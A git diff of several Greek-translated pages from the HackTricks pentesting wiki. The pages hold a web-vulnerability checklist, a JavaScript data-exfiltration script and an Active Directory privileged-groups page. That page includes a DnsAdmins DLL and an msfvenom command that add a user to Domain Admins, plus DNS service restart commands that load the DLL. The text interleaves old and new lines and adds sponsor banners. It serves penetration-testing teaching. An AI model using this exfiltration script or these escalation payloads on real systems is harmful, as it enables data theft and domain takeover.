* [ ] [**Uncovering Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) * [ ] [**Αποκάλυψη Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md) * [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Proxy / WAF Protections Bypass**](proxy-waf-protections-bypass.md) * [ ] [**Παράκαμψη Proxy / WAF Protections**](proxy-waf-protections-bypass.md)
## **User input** ## **Είσοδος Χρήστη**
{% hint style="info" %} {% hint style="info" %}
Οι περισσότερες από τις web εφαρμογές θα **επιτρέπουν στους χρήστες να εισάγουν κάποια δεδομένα που θα επεξεργαστούν αργότερα.**\ Οι περισσότερες διαδικτυακές εφαρμογές θα **επιτρέπουν στους χρήστες να εισάγουν κάποια δεδομένα που θα επεξεργαστούν αργότερα.**\
Ανάλογα με τη δομή των δεδομένων που περιμένει ο διακομιστής, κάποιες ευπάθειες μπορεί να ισχύουν ή όχι. Ανάλογα με τη δομή των δεδομένων που περιμένει ο διακομιστής, ορισμένες ευπάθειες μπορεί να ισχύουν ή όχι.
{% endhint %} {% endhint %}
### **Reflected Values** ### **Αντανάκλαση Τιμών**
Εάν τα εισαγόμενα δεδομένα μπορεί με κάποιο τρόπο να αντανακλώνται στην απάντηση, η σελίδα μπορεί να είναι ευάλωτη σε διάφορα ζητήματα. Εάν τα εισαγόμενα δεδομένα μπορεί κάπως να αντανακλώνται στην απάντηση, η σελίδα μπορεί να είναι ευάλωτη σε διάφορα ζητήματα.
* [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md) * [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
* [ ] [**Command Injection**](command-injection.md) * [ ] [**Command Injection**](command-injection.md)
@ -65,7 +74,7 @@
[pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/) [pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/)
{% endcontent-ref %} {% endcontent-ref %}
### **Search functionalities** ### **Λειτουργίες Αναζήτησης**
Εάν η λειτουργία μπορεί να χρησιμοποιηθεί για να αναζητήσει κάποιο είδος δεδομένων στο backend, ίσως μπορείτε να (κατα)χρησιμοποιήσετε αυτήν για να αναζητήσετε αυθαίρετα δεδομένα. Εάν η λειτουργία μπορεί να χρησιμοποιηθεί για να αναζητήσει κάποιο είδος δεδομένων στο backend, ίσως μπορείτε να (κατα)χρησιμοποιήσετε αυτήν για να αναζητήσετε αυθαίρετα δεδομένα.
@ -76,7 +85,7 @@
* [ ] [**SQL Injection**](sql-injection/) * [ ] [**SQL Injection**](sql-injection/)
* [ ] [**XPATH Injection**](xpath-injection.md) * [ ] [**XPATH Injection**](xpath-injection.md)
### **Forms, WebSockets and PostMsgs** ### **Φόρμες, WebSockets και PostMsgs**
Όταν ένα websocket δημοσιεύει ένα μήνυμα ή μια φόρμα που επιτρέπει στους χρήστες να εκτελούν ενέργειες, μπορεί να προκύψουν ευπάθειες. Όταν ένα websocket δημοσιεύει ένα μήνυμα ή μια φόρμα που επιτρέπει στους χρήστες να εκτελούν ενέργειες, μπορεί να προκύψουν ευπάθειες.
@ -86,53 +95,53 @@
### **HTTP Headers** ### **HTTP Headers**
Ανάλογα με τους HTTP headers που παρέχονται από τον web server, κάποιες ευπάθειες μπορεί να είναι παρούσες. Ανάλογα με τους HTTP headers που παρέχονται από τον διακομιστή web, ορισμένες ευπάθειες μπορεί να είναι παρούσες.
* [ ] [**Clickjacking**](clickjacking.md) * [ ] [**Clickjacking**](clickjacking.md)
* [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/) * [ ] [**Παράκαμψη Content Security Policy**](content-security-policy-csp-bypass/)
* [ ] [**Cookies Hacking**](hacking-with-cookies/) * [ ] [**Cookies Hacking**](hacking-with-cookies/)
* [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md) * [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
### **Bypasses** ### **Παράκαμψη**
Υπάρχουν πολλές συγκεκριμένες λειτουργίες όπου κάποιες λύσεις μπορεί να είναι χρήσιμες για να τις παρακάμψετε. Υπάρχουν πολλές συγκεκριμένες λειτουργίες όπου ορισμένες λύσεις μπορεί να είναι χρήσιμες για να τις παρακάμψετε.
* [ ] [**2FA/OTP Bypass**](2fa-bypass.md) * [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
* [ ] [**Bypass Payment Process**](bypass-payment-process.md) * [ ] [**Παράκαμψη Διαδικασίας Πληρωμής**](bypass-payment-process.md)
* [ ] [**Captcha Bypass**](captcha-bypass.md) * [ ] [**Captcha Bypass**](captcha-bypass.md)
* [ ] [**Login Bypass**](login-bypass/) * [ ] [**Login Bypass**](login-bypass/)
* [ ] [**Race Condition**](race-condition.md) * [ ] [**Race Condition**](race-condition.md)
* [ ] [**Rate Limit Bypass**](rate-limit-bypass.md) * [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
* [ ] [**Reset Forgotten Password Bypass**](reset-password.md) * [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
* [ ] [**Registration Vulnerabilities**](registration-vulnerabilities.md) * [ ] [**Ευπάθειες Εγγραφής**](registration-vulnerabilities.md)
### **Structured objects / Specific functionalities** ### **Δομημένα αντικείμενα / Συγκεκριμένες λειτουργίες**
Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικά σειριασμένο αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί εάν η εφαρμογή μπορεί να είναι ευάλωτη καθώς χρειάζεται να επεξεργάζεται αυτού του είδους τα δεδομένα.\ Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικό αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί εάν η εφαρμογή μπορεί να είναι ευάλωτη καθώς πρέπει να επεξεργάζεται αυτού του είδους τα δεδομένα.\
Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες εάν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως οι Εισαγωγές Header Email). Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες εάν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως Email Header Injections).
* [ ] [**Deserialization**](deserialization/) * [ ] [**Deserialization**](deserialization/)
* [ ] [**Email Header Injection**](email-injections.md) * [ ] [**Email Header Injection**](email-injections.md)
* [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md) * [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
* [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md) * [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
### Files ### Αρχεία
Λειτουργίες που επιτρέπουν την αποστολή αρχείων μπορεί να είναι ευάλωτες σε διάφορα ζητήματα.\ Λειτουργίες που επιτρέπουν την αποστολή αρχείων μπορεί να είναι ευάλωτες σε διάφορα ζητήματα.\
Λειτουργίες που δημιουργούν αρχεία που περιλαμβάνουν είσοδο χρηστών μπορεί να εκτελούν απροσδόκητο κώδικα.\ Λειτουργίες που δημιουργούν αρχεία που περιλαμβάνουν είσοδο χρήστη μπορεί να εκτελούν απροσδόκητο κώδικα.\
Χρήστες που ανοίγουν αρχεία που έχουν αποσταλεί από χρήστες ή που έχουν δημιουργηθεί αυτόματα περιλαμβάνοντας είσοδο χρηστών μπορεί να διακυβεύονται. Χρήστες που ανοίγουν αρχεία που έχουν αποσταλεί από χρήστες ή που έχουν δημιουργηθεί αυτόματα περιλαμβάνοντας είσοδο χρήστη μπορεί να διακυβεύονται.
* [ ] [**File Upload**](file-upload/) * [ ] [**File Upload**](file-upload/)
* [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md) * [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md) * [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
* [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) * [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **External Identity Management** ### **Διαχείριση Εξωτερικής Ταυτότητας**
* [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md) * [ ] [**OAUTH για Ανάληψη Λογαριασμού**](oauth-to-account-takeover.md)
* [ ] [**SAML Attacks**](saml-attacks/) * [ ] [**SAML Attacks**](saml-attacks/)
### **Other Helpful Vulnerabilities** ### **Άλλες Χρήσιμες Ευπάθειες**
Αυτές οι ευπάθειες μπορεί να βοηθήσουν στην εκμετάλλευση άλλων ευπαθειών. Αυτές οι ευπάθειες μπορεί να βοηθήσουν στην εκμετάλλευση άλλων ευπαθειών.
@ -141,13 +150,23 @@
* [ ] [**Parameter Pollution**](parameter-pollution.md) * [ ] [**Parameter Pollution**](parameter-pollution.md)
* [ ] [**Unicode Normalization vulnerability**](unicode-injection/) * [ ] [**Unicode Normalization vulnerability**](unicode-injection/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -12,6 +12,10 @@
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```javascript ```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected) // SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1 // If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
@ -119,6 +123,10 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data)) exfil_info("onmessage", encode(e.data))
} }
``` ```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -128,7 +136,7 @@ exfil_info("onmessage", encode(e.data))
<summary>Υποστηρίξτε το HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>

View file

@ -15,6 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Well Known groups with administration privileges ## Well Known groups with administration privileges
* **Διαχειριστές** * **Διαχειριστές**
@ -23,15 +30,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Account Operators ## Account Operators
Αυτή η ομάδα έχει τη δυνατότητα να δημιουργεί λογαριασμούς και ομάδες που δεν είναι διαχειριστές στον τομέα. Επιπλέον, επιτρέπει το τοπικό login στον Domain Controller (DC). Αυτή η ομάδα έχει τη δυνατότητα να δημιουργεί λογαριασμούς και ομάδες που δεν είναι διαχειριστές στον τομέα. Επιπλέον, επιτρέπει την τοπική σύνδεση στον Ελεγκτή Τομέα (DC).
Για να εντοπιστούν τα μέλη αυτής της ομάδας, εκτελείται η ακόλουθη εντολή: Για να προσδιοριστούν τα μέλη αυτής της ομάδας, εκτελείται η ακόλουθη εντολή:
```powershell ```powershell
Get-NetGroupMember -Identity "Account Operators" -Recurse Get-NetGroupMember -Identity "Account Operators" -Recurse
``` ```
Η προσθήκη νέων χρηστών επιτρέπεται, καθώς και η τοπική σύνδεση στο DC01. Η προσθήκη νέων χρηστών επιτρέπεται, καθώς και η τοπική σύνδεση στο DC01.
## Ομάδα AdminSDHolder ## AdminSDHolder group
Η Λίστα Ελέγχου Πρόσβασης (ACL) της ομάδας **AdminSDHolder** είναι κρίσιμη καθώς καθορίζει τα δικαιώματα για όλες τις "προστατευμένες ομάδες" εντός του Active Directory, συμπεριλαμβανομένων των ομάδων υψηλών προνομίων. Αυτός ο μηχανισμός διασφαλίζει την ασφάλεια αυτών των ομάδων αποτρέποντας μη εξουσιοδοτημένες τροποποιήσεις. Η Λίστα Ελέγχου Πρόσβασης (ACL) της ομάδας **AdminSDHolder** είναι κρίσιμη καθώς καθορίζει τα δικαιώματα για όλες τις "προστατευμένες ομάδες" εντός του Active Directory, συμπεριλαμβανομένων των ομάδων υψηλών προνομίων. Αυτός ο μηχανισμός διασφαλίζει την ασφάλεια αυτών των ομάδων αποτρέποντας μη εξουσιοδοτημένες τροποποιήσεις.
@ -49,7 +56,7 @@ Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityRefer
## AD Recycle Bin ## AD Recycle Bin
Η συμμετοχή σε αυτή την ομάδα επιτρέπει την ανάγνωση διαγραμμένων αντικειμένων Active Directory, τα οποία μπορεί να αποκαλύψουν ευαίσθητες πληροφορίες: Η συμμετοχή σε αυτή την ομάδα επιτρέπει την ανάγνωση διαγραμμένων αντικειμένων Active Directory, τα οποία μπορούν να αποκαλύψουν ευαίσθητες πληροφορίες:
```bash ```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
``` ```
@ -59,7 +66,7 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
### Κλιμάκωση Δικαιωμάτων ### Κλιμάκωση Δικαιωμάτων
Χρησιμοποιώντας το `PsService` ή το `sc` από τα Sysinternals, μπορεί κανείς να επιθεωρήσει και να τροποποιήσει τις άδειες υπηρεσιών. Η ομάδα `Server Operators`, για παράδειγμα, έχει πλήρη έλεγχο σε ορισμένες υπηρεσίες, επιτρέποντας την εκτέλεση αυθαίρετων εντολών και κλιμάκωση δικαιωμάτων: Χρησιμοποιώντας το `PsService` ή το `sc` από το Sysinternals, μπορεί κανείς να επιθεωρήσει και να τροποποιήσει τις άδειες υπηρεσιών. Η ομάδα `Server Operators`, για παράδειγμα, έχει πλήρη έλεγχο σε ορισμένες υπηρεσίες, επιτρέποντας την εκτέλεση αυθαίρετων εντολών και κλιμάκωση δικαιωμάτων:
```cmd ```cmd
C:\> .\PsService.exe security AppReadiness C:\> .\PsService.exe security AppReadiness
``` ```
@ -67,7 +74,7 @@ C:\> .\PsService.exe security AppReadiness
## Backup Operators ## Backup Operators
Η συμμετοχή στην ομάδα `Backup Operators` παρέχει πρόσβαση στο σύστημα αρχείων `DC01` λόγω των δικαιωμάτων `SeBackup` και `SeRestore`. Αυτά τα δικαιώματα επιτρέπουν την περιήγηση σε φακέλους, την καταγραφή και την αντιγραφή αρχείων, ακόμη και χωρίς ρητές άδειες, χρησιμοποιώντας τη σημαία `FILE_FLAG_BACKUP_SEMANTICS`. Η χρήση συγκεκριμένων σεναρίων είναι απαραίτητη για αυτή τη διαδικασία. Η συμμετοχή στην ομάδα `Backup Operators` παρέχει πρόσβαση στο σύστημα αρχείων `DC01` λόγω των δικαιωμάτων `SeBackup` και `SeRestore`. Αυτά τα δικαιώματα επιτρέπουν τη διαδρομή φακέλων, την καταγραφή και τις δυνατότητες αντιγραφής αρχείων, ακόμη και χωρίς ρητές άδειες, χρησιμοποιώντας τη σημαία `FILE_FLAG_BACKUP_SEMANTICS`. Η χρήση συγκεκριμένων σεναρίων είναι απαραίτητη για αυτή τη διαδικασία.
Για να καταγράψετε τα μέλη της ομάδας, εκτελέστε: Για να καταγράψετε τα μέλη της ομάδας, εκτελέστε:
```powershell ```powershell
@ -143,7 +150,7 @@ echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\
## DnsAdmins ## DnsAdmins
Τα μέλη της ομάδας **DnsAdmins** μπορούν να εκμεταλλευτούν τα προνόμιά τους για να φορτώσουν μια αυθαίρετη DLL με προνόμια SYSTEM σε έναν διακομιστή DNS, που συχνά φιλοξενείται σε Domain Controllers. Αυτή η δυνατότητα επιτρέπει σημαντική δυνατότητα εκμετάλλευσης. Τα μέλη της ομάδας **DnsAdmins** μπορούν να εκμεταλλευτούν τα προνόμιά τους για να φορτώσουν μια αυθαίρετη DLL με προνόμια SYSTEM σε έναν διακομιστή DNS, που συχνά φιλοξενείται σε Domain Controllers. Αυτή η ικανότητα επιτρέπει σημαντική δυνατότητα εκμετάλλευσης.
Για να καταγράψετε τα μέλη της ομάδας DnsAdmins, χρησιμοποιήστε: Για να καταγράψετε τα μέλη της ομάδας DnsAdmins, χρησιμοποιήστε:
```powershell ```powershell
@ -171,7 +178,7 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
// Generate DLL with msfvenom // Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
``` ```
Επαναλαμβάνοντας την υπηρεσία DNS (η οποία μπορεί να απαιτεί επιπλέον δικαιώματα) είναι απαραίτητο για να φορτωθεί το DLL: Είναι απαραίτητο να επανεκκινήσετε την υπηρεσία DNS (η οποία μπορεί να απαιτεί επιπλέον δικαιώματα) ώστε να φορτωθεί το DLL:
```csharp ```csharp
sc.exe \\dc01 stop dns sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns sc.exe \\dc01 start dns
@ -185,7 +192,7 @@ sc.exe \\dc01 start dns
Οι DnsAdmins μπορούν να χειριστούν τα DNS records για να εκτελέσουν επιθέσεις Man-in-the-Middle (MitM) δημιουργώντας ένα WPAD record μετά την απενεργοποίηση της παγκόσμιας λίστας αποκλεισμού ερωτημάτων. Εργαλεία όπως το Responder ή το Inveigh μπορούν να χρησιμοποιηθούν για spoofing και καταγραφή δικτυακής κίνησης. Οι DnsAdmins μπορούν να χειριστούν τα DNS records για να εκτελέσουν επιθέσεις Man-in-the-Middle (MitM) δημιουργώντας ένα WPAD record μετά την απενεργοποίηση της παγκόσμιας λίστας αποκλεισμού ερωτημάτων. Εργαλεία όπως το Responder ή το Inveigh μπορούν να χρησιμοποιηθούν για spoofing και καταγραφή δικτυακής κίνησης.
### Event Log Readers ### Event Log Readers
Τα μέλη μπορούν να έχουν πρόσβαση στα αρχεία καταγραφής γεγονότων, ενδεχομένως βρίσκοντας ευαίσθητες πληροφορίες όπως κωδικούς πρόσβασης σε απλή μορφή ή λεπτομέρειες εκτέλεσης εντολών: Τα μέλη μπορούν να έχουν πρόσβαση στα αρχεία καταγραφής γεγονότων, ενδεχομένως βρίσκοντας ευαίσθητες πληροφορίες όπως κωδικούς πρόσβασης σε απλό κείμενο ή λεπτομέρειες εκτέλεσης εντολών:
```powershell ```powershell
# Get members and search logs for sensitive information # Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-NetGroupMember -Identity "Event Log Readers" -Recurse
@ -216,7 +223,7 @@ Note: Η εκμετάλλευση σκληρών συνδέσμων έχει μ
### Εκμετάλλευση Προνομίων και Εντολές ### Εκμετάλλευση Προνομίων και Εντολές
#### Εκτυπωτές #### Εκτυπωτές
Τα μέλη της ομάδας **Εκτυπωτές** έχουν προικιστεί με αρκετά προνόμια, συμπεριλαμβανομένου του **`SeLoadDriverPrivilege`**, το οποίο τους επιτρέπει να **συνδέονται τοπικά σε έναν Domain Controller**, να τον απενεργοποιούν και να διαχειρίζονται εκτυπωτές. Για να εκμεταλλευτούν αυτά τα προνόμια, ειδικά αν το **`SeLoadDriverPrivilege`** δεν είναι ορατό σε ένα μη ανυψωμένο περιβάλλον, είναι απαραίτητο να παρακαμφθεί ο Έλεγχος Λογαριασμού Χρήστη (UAC). Τα μέλη της ομάδας **Εκτυπωτές** έχουν προικιστεί με αρκετά προνόμια, συμπεριλαμβανομένου του **`SeLoadDriverPrivilege`**, το οποίο τους επιτρέπει να **συνδέονται τοπικά σε έναν Domain Controller**, να τον απενεργοποιούν και να διαχειρίζονται εκτυπωτές. Για να εκμεταλλευτούν αυτά τα προνόμια, ειδικά αν το **`SeLoadDriverPrivilege`** δεν είναι ορατό σε μη ανυψωμένο περιβάλλον, είναι απαραίτητο να παρακαμφθεί ο Έλεγχος Λογαριασμού Χρήστη (UAC).
Για να καταγραφούν τα μέλη αυτής της ομάδας, χρησιμοποιείται η ακόλουθη εντολή PowerShell: Για να καταγραφούν τα μέλη αυτής της ομάδας, χρησιμοποιείται η ακόλουθη εντολή PowerShell:
```powershell ```powershell
@ -262,6 +269,13 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) * [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) * [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -9,12 +9,18 @@
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
